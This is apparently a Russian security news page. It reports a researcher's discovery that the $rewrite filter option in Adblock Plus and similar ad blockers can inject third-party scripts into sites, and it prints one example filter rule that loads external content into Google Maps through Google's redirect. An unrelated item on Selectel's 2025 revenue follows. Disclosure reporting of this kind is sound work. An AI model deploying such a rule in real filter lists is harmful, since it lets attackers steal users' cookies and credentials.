Фильтры AdBlock можно использовать для инъекции вредоносных скриптов

Фильтры AdBlock можно использовать для инъекции вредоносных скриптов

Фильтры AdBlock можно использовать для инъекции вредоносных скриптов

Новый эксплойт, недавно обнаруженный экспертом в области кибербезопасности, способен использовать фильтры популярных блокировщиков рекламы Adblock Plus, AdBlock и uBlocker для инъекции сторонних скриптов в код страниц веб-сайтов.

Adblock Plus, AdBlock и uBlocker представляют собой специальные расширения для браузеров, помогающие пользователям скрывать надоедливую и агрессивную рекламу со страниц ресурсов.

База пользователей этих блокировщиков насчитывает более 10 миллионов человек. Таким образом, если злоумышленнику удастся внедрить вредоносные скрипты, он получит возможность красть файлы cookie, учетные данные, а также осуществлять нужные ему редиректы.

Работа блокировщиков рекламы завязана на использовании списка URL, на которых был отмечен рекламный контент или даже вредоносное поведение. Тот же Adblock Plus, например, запрещает браузеру подключаться к этим ссылкам, следовательно, рекламные скрипты не в состоянии загрузиться.

Вся проблема кроется в опции списка фильтров под названием $rewrite, которая была представлена в 2018 году (в Adblocker Plus 3.2). Эта функция позволяет разработчику подменить запрос, совпадающий с определенным регулярным выражением, другим URL.

Единственное условие — заменяемая строка должна быть относительным URL-адресом. Таким образом, если запрос для example.com/ad.gif заменить на example.com/puppies.gif, пользователь вместо рекламы увидит картинку с милыми щенками.

При этом разработчики предусмотрели защиту, запретив запросы вида SCRIPT, SUBDOCUMENT, OBJECT и OBJECT_SUBREQUEST — с ними эта функция не будет работать.

Однако исследователь Армин Себастьян нашел способ, позволяющий создать правило, благодаря которому сторонний скрипт можно встроить в контент конкретного сайта.

Для этого потребуется найти ресурс, который допускает загрузку скриптов со сторонних доменов, а также использует XMLHttpRequest или Fetch для загрузки скриптов. Сам Себастьян довольно быстро нашел такой ресурс — он использовал Google Maps для демонстрации уязвимости.

Google Maps использует XMLHttpRequest для загрузки скриптов, что позволило эксперту воспользоваться функцией фильтров $rewrite для задействования скрипта со стороннего домена. Пример:

/^https://www.google.com/maps/_/js/k=.*/m=pw/.*/rs=.*/$rewrite=/search?hl=en-US&source=hp&biw=&bih=&q=majestic-ramsons.herokuapp.com&btnI=I%27m+Feeling+Lucky&gbv=1

Если пользователь в этом случае посетит google[.]com/maps/, фильтр использует редиректы Google для считывания контента с majestic-ramsons.herokuapp[.]com/.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

Selectel увеличила выручку до 13,5 млрд рублей за девять месяцев 2025 года

Компания Selectel, один из российских провайдеров ИТ-инфраструктуры, подвела итоги за девять месяцев 2025 года. Согласно управленческой отчетности по принципам МСФО, компания показала заметный рост по ключевым показателям. Общая выручка Selectel выросла на 42% год к году и составила 13,5 млрд рублей.

Основную часть по-прежнему обеспечивают облачные инфраструктурные сервисы, на которые пришлось 11,7 млрд рублей — это на 43% больше, чем годом ранее.

Клиентская база компании также расширилась: к концу сентября 2025 года у Selectel насчитывалось 31,2 тыс. клиентов, что на 5,5 тыс. больше, чем годом ранее. Наибольший рост спроса зафиксирован со стороны финансового сектора (в 2,2 раза), медиаотрасли (в 1,8 раза) и транспортных компаний (в 1,6 раза). Основная доля выручки — около 63% — приходится на клиентов из IT, ретейла и медиа.

Скорректированная EBITDA увеличилась на 44%, до 7,8 млрд рублей, при рентабельности 58%. Чистая прибыль составила 2,5 млрд рублей, что немного меньше показателя прошлого года (–5%), чему способствовали рост амортизационных и процентных расходов, а также увеличение налоговой нагрузки. Рентабельность по чистой прибыли сохранилась на уровне 19%.

Selectel продолжает активно инвестировать в развитие инфраструктуры: капитальные затраты за 9 месяцев составили 6 млрд рублей. Из них 3,7 млрд рублей направлены на закупку серверного оборудования, а 2,1 млрд рублей — на развитие дата-центров, включая подготовку к запуску нового центра «Юрловский», первую очередь которого планируют ввести в эксплуатацию до конца года.

Показатель долговой нагрузки снизился до 1,7x чистый долг/скорр. EBITDA, что компания оценивает как комфортный уровень. Отрицательный свободный денежный поток (–1,1 млрд рублей) объясняется превышением объёмов инвестиций над операционным потоком.

Ранее Selectel сообщала о планах вложить 10 млрд рублей в развитие инфраструктуры для ИИ-направлений в течение ближайших пяти лет, учитывая растущий спрос на вычислительные мощности для искусственного интеллекта.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

RSS: Новости на портале Anti-Malware.ru